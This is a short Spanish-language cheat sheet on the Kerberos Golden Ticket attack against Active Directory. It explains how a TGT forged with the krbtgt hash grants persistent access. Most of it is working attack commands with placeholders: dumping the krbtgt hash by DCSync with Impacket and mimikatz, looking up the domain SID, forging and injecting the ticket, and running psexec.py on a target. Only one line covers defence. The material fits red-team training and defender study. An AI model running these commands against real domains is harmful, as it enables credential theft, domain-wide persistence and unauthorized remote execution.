Qué es
Golden Ticket es un TGT de Kerberos falsificado con el hash de la cuenta krbtgt. Con ese hash el atacante emite tickets válidos para cualquier identidad del dominio, con los grupos y la duración que quiera. Es persistencia: el ticket sigue vivo aunque cambien la contraseña de la cuenta suplantada.
Cómo funciona
Los Domain Controllers confían en cualquier TGT que se descifre con la clave de krbtgt. No revalidan la identidad que va dentro.
Con el hash de krbtgt el atacante arma un TGT desde cero. Escribe el usuario, los grupos y la duración que quiere dentro del PAC. Lo cifra con la clave de krbtgt. El dominio no puede distinguirlo de uno legítimo.
Por eso cambiar la contraseña de la cuenta suplantada no sirve. El ticket nunca dependió de ella. Solo dependió de la clave de krbtgt.
Comandos
Sacar el hash de krbtgt por DCSync, con Impacket desde Linux:
secretsdump.py <DOMAIN>/<USER>:<PASSWORD>@<IP> -just-dc-user krbtgtLo mismo con mimikatz, desde Windows:
lsadump::dcsync /domain:<DOMAIN> /user:krbtgtObtener el SID del dominio:
lookupsid.py <DOMAIN>/<USER>:<PASSWORD>@<IP>Falsificar el ticket con Impacket, desde Linux. Guarda un archivo .ccache
con el nombre del usuario suplantado:
ticketer.py -nthash <HASH> -domain-sid <SID> -domain <DOMAIN> <USER>Cargar ese .ccache en la sesión actual:
export KRB5CCNAME=<FILE>Falsificar e inyectar el ticket con mimikatz, desde Windows. /id:500
apunta al Administrador integrado y /ptt lo mete en la sesión:
kerberos::golden /domain:<DOMAIN> /sid:<SID> /krbtgt:<HASH> /user:<USER> /id:500 /pttUsar el ticket cargado para ejecutar en un objetivo:
psexec.py -k -no-pass <DOMAIN>/<USER>@<HOST>Cómo defenderse
Cambia la contraseña de krbtgt dos veces: es lo único que invalida los tickets ya falsificados.